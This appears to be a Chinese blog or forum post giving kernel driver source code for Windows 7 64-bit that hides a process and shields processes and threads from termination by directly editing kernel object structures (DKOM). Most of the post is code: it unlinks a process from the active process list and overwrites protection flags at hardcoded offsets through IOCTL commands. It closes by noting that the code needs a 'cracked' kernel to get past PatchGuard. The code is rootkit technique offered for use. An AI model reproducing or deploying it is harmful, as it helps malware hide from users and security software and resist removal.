Win7 64上隐藏进程和保护进程源代码

万胜

实现隐藏进程和保护进程的手段依然是DKOM，不过是修改的位置不同而已。
至于怎么在64位操作系统上加载驱动，我已经说过了，请参考这里。
驱动使用WDK7的x64 Free Build Environment编译。

核心源码：

1. 
   
2. #define PROCESS_FLAGS_OFFSET                   0x440
   
3. #define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET    0x188
   
4. #define PROCESS_RUNDOWN_PROTECT_OFFSET         0x178
   
5. 
   
6. ULONG64 Get64bitValue(PVOID p)
   
7. {
   
8.     if(MmIsAddressValid(p)==FALSE)
   
9.         return 0;
   
10.     return *(PULONG64)p;
    
11. }
    
12. 
    
13. 
    
14. VOID Set64bitValue(PVOID p, ULONG64 v)
    
15. {
    
16.     KIRQL OldIrql;
    
17.     if(MmIsAddressValid(p)==FALSE)
    
18.         return ;
    
19.     OldIrql = KeRaiseIrqlToDpcLevel();
    
20.     *(PULONG64)p=v;
    
21.     KeLowerIrql(OldIrql);
    
22. }
    
23. 
    
24. 
    
25. VOID RemoveListEntry(PLIST_ENTRY ListEntry)
    
26. {
    
27.     KIRQL OldIrql;
    
28.     OldIrql = KeRaiseIrqlToDpcLevel();
    
29.     if (ListEntry->Flink != ListEntry &&
    
30.         ListEntry->Blink != ListEntry &&
    
31.         ListEntry->Blink->Flink == ListEntry &&
    
32.         ListEntry->Flink->Blink == ListEntry)
    
33.     {
    
34.             ListEntry->Flink->Blink = ListEntry->Blink;
    
35.             ListEntry->Blink->Flink = ListEntry->Flink;
    
36.             ListEntry->Flink = ListEntry;
    
37.             ListEntry->Blink = ListEntry;
    
38.     }
    
39.     KeLowerIrql(OldIrql);
    
40. }
    
41. 
    
42. 
    
43. VOID HideProcess(PEPROCESS Process)
    
44. {
    
45.     RemoveListEntry((PLIST_ENTRY)((ULONG64)Process + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
    
46. }
    
47. 
    
48. 
    
49. VOID Test(ULONG uIoControlCode)
    
50. {
    
51.     switch(uIoControlCode)
    
52.     {
    
53.         case IOCTL_HideProcess:
    
54.             {
    
55.                 __try
    
56.                 {
    
57.                     memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
    
58.                     status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
    
59.                     if(NT_SUCCESS(status))
    
60.                     {
    
61.                         HideProcess(eProcess);
    
62.                     }
    
63.                 }
    
64.                 __except(EXCEPTION_EXECUTE_HANDLER)
    
65.                 {
    
66.                     ;
    
67.                 }
    
68.                 break;
    
69.             }
    
70.         case IOCTL_ProtectProcess:
    
71.             {
    
72.                 __try
    
73.                 {
    
74.                     memcpy(&dwInputPid,pIoBuffer,sizeof(dwInputPid));
    
75.                     status=PsLookupProcessByProcessId(dwInputPid,&eProcess);
    
76.                     if(NT_SUCCESS(status))
    
77.                     {
    
78.                         OldVal=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET));
    
79.                         Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),RdpVal);
    
80.                     }
    
81.                 }
    
82.                 __except(EXCEPTION_EXECUTE_HANDLER)
    
83.                 {
    
84.                     ;
    
85.                 }
    
86.                 break;
    
87.             }
    
88.         case IOCTL_UnprotectProcess:
    
89.             {
    
90.                 __try
    
91.                 {
    
92.                     Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_RUNDOWN_PROTECT_OFFSET),OldVal);
    
93.                 }
    
94.                 __except(EXCEPTION_EXECUTE_HANDLER)
    
95.                 {
    
96.                     ;
    
97.                 }
    
98.                 break;
    
99.             }
    
100.     }
     
101. }
     

复制代码

更新内容：

1. 
   
2. #define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET    0x188
   
3. #define PROCESS_FLAG2_OFFSET                   0x43C
   
4. #define CROSS_THREAD_FLAGS_OFFSET              0x448
   
5. 
   
6. VOID Test(ULONG uIoControlCode)
   
7. {
   
8.     switch(uIoControlCode)
   
9.     {
   
10.         case IOCTL_ProtectProcess:
    
11.             {
    
12.                 __try
    
13.                 {
    
14.                     memcpy(&dwInPid,pIoBuffer,sizeof(dwInPid));
    
15.                     dprintf("[x64Drv] dwInPid=%ld",dwInPid);
    
16.                     status=PsLookupProcessByProcessId(dwInPid,&eProcess);
    
17.                     if(NT_SUCCESS(status))
    
18.                     {
    
19.                         dwPOV=Get64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET));
    
20.                         Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPNV);
    
21.                         dprintf("[x64Drv] Protect Process finished");
    
22.                     }
    
23.                 }
    
24.                 __except(EXCEPTION_EXECUTE_HANDLER)
    
25.                 {
    
26.                     ;
    
27.                 }
    
28.                 break;
    
29.             }
    
30.         case IOCTL_ProtectThread:
    
31.             {
    
32.                 __try
    
33.                 {
    
34.                     memcpy(&dwInTid,pIoBuffer,sizeof(dwInTid));
    
35.                     dprintf("[x64Drv] dwInTid=%ld",dwInTid);
    
36.                     status=PsLookupThreadByThreadId(dwInTid,&eThread);
    
37.                     if(NT_SUCCESS(status))
    
38.                     {
    
39.                         dwTOV=Get32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET));
    
40.                         Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
    
41.                         dprintf("[x64Drv] Protect Thread finished");
    
42.                     }
    
43.                 }
    
44.                 __except(EXCEPTION_EXECUTE_HANDLER)
    
45.                 {
    
46.                     ;
    
47.                 }
    
48.                 break;
    
49.             }
    
50.         case IOCTL_UnprotectProcess:
    
51.             {
    
52.                 __try
    
53.                 {
    
54.                     Set64bitValue((PULONG64)((ULONG64)eProcess+PROCESS_FLAG2_OFFSET),dwPOV);
    
55.                     Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
    
56.                     dprintf("[x64Drv] Unprotect Process and Thread finished");
    
57.                 }
    
58.                 __except(EXCEPTION_EXECUTE_HANDLER)
    
59.                 {
    
60.                     ;
    
61.                 }
    
62.                 break;
    
63.             }
    
64.         case IOCTL_PauseThrdProtect:
    
65.             {
    
66.                 __try
    
67.                 {
    
68.                     Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTOV);
    
69.                     dprintf("[x64Drv] Thread Protect Suspended!");
    
70.                 }
    
71.                 __except(EXCEPTION_EXECUTE_HANDLER)
    
72.                 {
    
73.                     ;
    
74.                 }
    
75.                 break;
    
76.             }
    
77.         case IOCTL_ResumeThrdProtect:
    
78.             {
    
79.                 __try
    
80.                 {
    
81.                     Set32bitValue((PULONG64)((ULONG64)eThread+CROSS_THREAD_FLAGS_OFFSET),dwTNV);
    
82.                     dprintf("[x64Drv] Thread Protect Resumed!");
    
83.                 }
    
84.                 __except(EXCEPTION_EXECUTE_HANDLER)
    
85.                 {
    
86.                     ;
    
87.                 }
    
88.                 break;
    
89.             }
    
90.     }
    
91. }

复制代码

警告：此代码在没有破解内核的WIN7 X64上使用，会触发PatchGuard引起蓝屏。
Warning: If you use this code in WIN7 X64 without "crack kernel", it will trigger PatchGuard and cause BSOD.